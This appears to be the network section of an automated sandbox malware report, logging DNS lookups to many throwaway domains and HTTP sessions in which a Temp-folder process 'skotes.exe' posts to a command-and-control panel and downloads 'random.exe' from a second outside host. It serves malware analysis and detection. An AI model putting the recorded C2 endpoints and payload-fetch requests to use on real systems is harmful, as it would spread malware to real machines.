Dec 17, 2024 08:03:50.923250914 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.923301935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.924081087 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.924133062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.924194098 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.924245119 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.925107956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.925214052 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.925282955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.925333977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.926091909 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.926142931 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.926197052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.926246881 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.927118063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.927170992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.927231073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.927282095 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.928111076 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.928165913 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.928226948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.928276062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.929060936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.929111004 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.929188013 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.929269075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.930078983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.930129051 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.930191040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.930242062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.931078911 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.931128025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.931181908 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.931232929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.932094097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.932142019 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.932203054 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.932252884 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.933099985 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.933154106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.933192968 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.933242083 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.934111118 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.934161901 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.934237003 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.934290886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.935107946 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.935157061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.935262918 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.935314894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.936172009 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.936223030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.936271906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.936321974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.937139034 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.937190056 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.937211037 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.937256098 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.938220978 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.938268900 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.938290119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.938339949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.939152956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.939201117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.939275980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.939326048 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.940190077 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.940238953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.940335035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.940382004 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.941167116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.941215992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.941277027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.941328049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.942173958 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.942224026 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.942333937 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.942383051 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.943188906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.943238974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.943300962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.943352938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.944178104 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.944235086 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.944269896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.944319963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.945233107 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.945337057 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.945338964 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.945388079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.946223021 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.946273088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.946336031 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.946383953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.947206020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.947254896 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.947369099 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.947419882 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.948208094 CET	80	49920	31.41.244.11	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 08:03:22.648993015 CET	192.168.2.5	1.1.1.1	0xf4d7	Standard query (0)	diffuculttan.xyz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:22.873503923 CET	192.168.2.5	1.1.1.1	0x639f	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:23.908368111 CET	192.168.2.5	1.1.1.1	0x639f	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:26.375575066 CET	192.168.2.5	1.1.1.1	0x1990	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:27.387597084 CET	192.168.2.5	1.1.1.1	0x1990	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:29.663387060 CET	192.168.2.5	1.1.1.1	0xec9c	Standard query (0)	effecterectz.xyz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:29.925879955 CET	192.168.2.5	1.1.1.1	0x8f87	Standard query (0)	diffuculttan.xyz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.069581032 CET	192.168.2.5	1.1.1.1	0x3ca4	Standard query (0)	debonairnukk.xyz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.289167881 CET	192.168.2.5	1.1.1.1	0x750c	Standard query (0)	wrathful-jammy.cyou	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.515506029 CET	192.168.2.5	1.1.1.1	0xc337	Standard query (0)	awake-weaves.cyou	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.827828884 CET	192.168.2.5	1.1.1.1	0xa6ab	Standard query (0)	sordid-snaked.cyou	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:31.149533987 CET	192.168.2.5	1.1.1.1	0x1da0	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:56.964027882 CET	192.168.2.5	1.1.1.1	0xa3e1	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:56.964154005 CET	192.168.2.5	1.1.1.1	0x7c9d	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 17, 2024 08:04:00.878925085 CET	192.168.2.5	1.1.1.1	0x504d	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:00.879020929 CET	192.168.2.5	1.1.1.1	0x607e	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false
Dec 17, 2024 08:04:05.131082058 CET	192.168.2.5	1.1.1.1	0x1324	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:05.131894112 CET	192.168.2.5	1.1.1.1	0x5618	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false
Dec 17, 2024 08:04:06.647486925 CET	192.168.2.5	1.1.1.1	0x494a	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:06.873730898 CET	192.168.2.5	1.1.1.1	0x9304	Standard query (0)	se-blurry.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.106307983 CET	192.168.2.5	1.1.1.1	0xdada	Standard query (0)	zinc-sneark.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.337347984 CET	192.168.2.5	1.1.1.1	0xa2f4	Standard query (0)	dwell-exclaim.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.556440115 CET	192.168.2.5	1.1.1.1	0xaf44	Standard query (0)	formy-spill.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.791852951 CET	192.168.2.5	1.1.1.1	0x6ba5	Standard query (0)	covery-mover.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.016458988 CET	192.168.2.5	1.1.1.1	0x4223	Standard query (0)	dare-curbys.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.254808903 CET	192.168.2.5	1.1.1.1	0x7537	Standard query (0)	print-vexer.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.487498999 CET	192.168.2.5	1.1.1.1	0xce66	Standard query (0)	impend-differ.biz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.706851959 CET	192.168.2.5	1.1.1.1	0x5c64	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 08:03:22.868304968 CET	1.1.1.1	192.168.2.5	0xf4d7	Name error (3)	diffuculttan.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:24.321706057 CET	1.1.1.1	192.168.2.5	0x639f	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:24.321706057 CET	1.1.1.1	192.168.2.5	0x639f	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:24.321706057 CET	1.1.1.1	192.168.2.5	0x639f	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:24.321815968 CET	1.1.1.1	192.168.2.5	0x639f	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:24.321815968 CET	1.1.1.1	192.168.2.5	0x639f	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:24.321815968 CET	1.1.1.1	192.168.2.5	0x639f	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:27.899918079 CET	1.1.1.1	192.168.2.5	0x1990	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:27.899918079 CET	1.1.1.1	192.168.2.5	0x1990	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:27.899918079 CET	1.1.1.1	192.168.2.5	0x1990	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:27.899931908 CET	1.1.1.1	192.168.2.5	0x1990	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:27.899931908 CET	1.1.1.1	192.168.2.5	0x1990	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:27.899931908 CET	1.1.1.1	192.168.2.5	0x1990	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:29.885195971 CET	1.1.1.1	192.168.2.5	0xec9c	Name error (3)	effecterectz.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.066895008 CET	1.1.1.1	192.168.2.5	0x8f87	Name error (3)	diffuculttan.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.287781954 CET	1.1.1.1	192.168.2.5	0x3ca4	Name error (3)	debonairnukk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.510268927 CET	1.1.1.1	192.168.2.5	0x750c	Name error (3)	wrathful-jammy.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:30.826334953 CET	1.1.1.1	192.168.2.5	0xc337	Name error (3)	awake-weaves.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:31.141493082 CET	1.1.1.1	192.168.2.5	0xa6ab	Name error (3)	sordid-snaked.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:31.288057089 CET	1.1.1.1	192.168.2.5	0x1da0	No error (0)	steamcommunity.com		104.121.10.34	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:57.200731039 CET	1.1.1.1	192.168.2.5	0xa3e1	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:03:57.200731039 CET	1.1.1.1	192.168.2.5	0xa3e1	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:01.770782948 CET	1.1.1.1	192.168.2.5	0x504d	No error (0)	home.fivetk5pn.top		104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:05.268819094 CET	1.1.1.1	192.168.2.5	0x1324	No error (0)	home.fivetk5pn.top		104.154.220.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:06.869883060 CET	1.1.1.1	192.168.2.5	0x494a	Name error (3)	drive-connect.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.104157925 CET	1.1.1.1	192.168.2.5	0x9304	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.334620953 CET	1.1.1.1	192.168.2.5	0xdada	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.554368019 CET	1.1.1.1	192.168.2.5	0xa2f4	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:07.790025949 CET	1.1.1.1	192.168.2.5	0xaf44	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.014318943 CET	1.1.1.1	192.168.2.5	0x6ba5	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.247941017 CET	1.1.1.1	192.168.2.5	0x4223	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.485511065 CET	1.1.1.1	192.168.2.5	0x7537	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.704967976 CET	1.1.1.1	192.168.2.5	0xce66	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:04:08.843693972 CET	1.1.1.1	192.168.2.5	0x5c64	No error (0)	steamcommunity.com		104.121.10.34	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49810	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:03.636239052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 08:03:04.959938049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49818	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:06.586882114 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 30 42 34 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22970B45882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 17, 2024 08:03:07.976641893 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 32 66 0d 0a 20 3c 63 3e 31 30 31 36 35 33 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 35 33 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 30 37 30 38 31 34 65 34 38 62 37 34 36 65 39 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 31 23 31 30 31 36 35 34 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 35 34 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 [TRUNCATED] Data Ascii: 42f <c>1016538001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016539001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc070814e48b746e903564d5b9cd3e956b7b5d1#1016540001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016541001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7393574df141e542404358d6d9fc1d#1016542001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1016543001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016544001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016545001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016546001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016547001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016548001+++b5937c1a99d5f9df0b5dafc85062 [TRUNCATED]
Dec 17, 2024 08:03:07.976696968 CET	26	IN	Data Raw: 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 25197d1aa1daaa8#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49822	31.41.244.11	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:08.102212906 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 08:03:09.427990913 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:09 GMT Content-Type: application/octet-stream Content-Length: 2031104 Last-Modified: Tue, 17 Dec 2024 06:07:04 GMT Connection: keep-alive ETag: "67611508-1efe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 90 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^M@M{K@Vjl <@.rsrclL@.idata T@ +V@lxqcqhrl3X@tuqgsjhjM@.taggant0M"@
Dec 17, 2024 08:03:09.428030014 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:09.428234100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:09.428303957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:09.428338051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:09.428385973 CET	672	IN	Data Raw: c3 a8 0d 28 cc 25 08 91 48 fd 7d 2d 64 4f d7 78 39 0b 08 62 f5 6e 8b 30 d2 c4 9e 2d be 4b 61 90 32 b9 a7 00 7a 38 8e 32 14 45 59 8c 1b c8 7e c8 01 4d 5f 3d e9 ee e3 90 59 58 02 cf 43 5f 7e b5 f0 a1 89 26 89 b4 78 5c 8c 70 f7 c7 68 19 4a 45 8b 00 Data Ascii: (%H}-dOx9bn0-Ka2z82EY~M_=YXC_~&x\phJE;jGU~fg0B'x8O:^d6deKjDSXA&riKS+vQQ#('0ZMearivV0@`_QYnc_2'&<F
